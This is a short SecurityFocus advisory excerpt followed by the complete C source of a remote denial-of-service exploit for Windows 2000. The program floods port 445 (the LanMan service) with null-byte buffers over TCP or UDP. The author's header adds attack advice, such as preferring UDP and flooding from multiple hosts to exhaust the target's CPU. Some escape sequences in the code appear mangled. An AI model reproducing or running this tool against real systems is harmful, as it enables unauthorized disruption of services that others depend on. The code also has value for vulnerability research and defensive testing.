source: http://www.securityfocus.com/bid/4532/info
An issue has been discovered in Windows 2000, which could cause a denial of system services.
Submitting malformed data to port 445 could cause the Lanman service to consume high CPU and Kernel mode memory usage.
/********************************************************
* Microsoft Windows 2000 Remote DoS *
* --------------------------------- *
* *
* Hello :) *
* This is an DoS exploit that utilizes the flaw found *
* by KPMG Denmark, to crasch or hang any Win2k box *
* running the LanMan server on port 445 (ms-ds). *
* What it does is just a simple 10k NULL string *
* bombardment of port 445 TCP or UDP. *
* *
* *
* By: Daniel Nystrom <[email protected]> *
* Download: www.telhack.tk / exce.darktech.org *
* *
* Suggestions: When performing the attack, use UDP if *
* you are attacking from a single host. *
* TCP only eats about 35% CPU on an AMD *
* Athlon XP 1800+ while UDP eats 99%. *
* So if TCP is the only option, use more *
* than one attacking host. All in all this *
* DoS is "pretty weak" and should be used *
* from more than one host in each attack *
* to get the best result. *
* *
* Compiles on: Linux (Debian 2.2r6 and RH 7.3 tested). *
* Should compile on other *nix's as well. *
* *
* Thanks: Peter Grundl, for answering my Q's :) *
* *
* greets: xenogen, ifa-, zeromatic, RTJ, all@telhack *
* *
********************************************************/
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <errno.h>
#define MICROSOFT_DS_PORT 445
unsigned long resolveTarget(char nstarget[]);
int main(int argc, char *argv[])
{
int sock;
int count;
struct sockaddr_in target;
unsigned short port = MICROSOFT_DS_PORT;
char *nullbuffer;
printf("%c[41m", 0x1B);
fprintf(stdout, "n--[ excE's Remote Microsoft Windows 2000 DoS (microsoft-ds)n");
printf("%c[0m", 0x1B);
fprintf(stdout, "-----------------------------------------------------------n");
if(argc != 4)
{
fprintf(stderr, "--[ Invalid number of parameters!n");
fprintf(stderr, "--[ Usage: %s <Server IP> <TCP/UDP> <Send Count>n", argv[0]);
fprintf(stderr, "--[ Forex: %s 127.0.0.1 UDP 10000nn", argv[0]);
exit(-1);
}
nullbuffer = (char *) malloc(10*1024*sizeof(char));
bzero(nullbuffer,sizeof(nullbuffer));
fprintf(stdout, "--[ Starting attack on %s...n", argv[1]);
memset(&target, 0, sizeof(target));
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolveTarget(argv[1]);
target.sin_port = htons(port);
if(argv[2][0] == 'U')
{
if((sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
{
perror("socket() failed ");
exit(-1);
}
fprintf(stdout, "--[ Sending NULL byte string * %d via UDPn", atoi(argv[3]));
for(count=0;count<atoi(argv[3]);count++)
{
if(sendto(sock, nullbuffer, strlen(nullbuffer), 0, (struct sockaddr *) &target, sizeof(target)) != strlen(nullbuffer))
{
perror("sendto() failed ");
exit(-1);
} else { printf("."); }
}
close(sock);
printf("n");
}
else if(argv[2][0] == 'T')
{
fprintf(stdout, "--[ Connecting and sending NULL byte string * %d...n", atoi(argv[3]));
if((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket() failed ");
exit(-1);
}
if(connect(sock, (struct sockaddr *) &target, sizeof(target)) < 0)
{
perror("connect() failed ");
exit(-1);
}
for(count=0;count<atoi(argv[3]);count++)
{
if(send(sock, nullbuffer, strlen(nullbuffer), 0) != strlen(nullbuffer))
{
perror("send() failed ");
exit(-1);
} else { printf("."); }
}
close(sock);
printf("n");
} else
{
fprintf(stderr, "--[ Error: You must define a protocol (TCP or UDP)nn");
exit(-1);
}
fprintf(stdout, "--[ Finished flooding target!n");
fprintf(stdout, "--[ http://www.telhack.tkn");
return 0;
}
unsigned long resolveTarget(char nstarget[])
{
struct hostent *targetname;
if((targetname=gethostbyname(nstarget)) == NULL)
{
fprintf(stderr, "--[ Name lookup failed. Please enter a valid IP or hostnamen");
exit(-1);
}
return *((unsigned long *) targetname->h_addr_list[0]);
}
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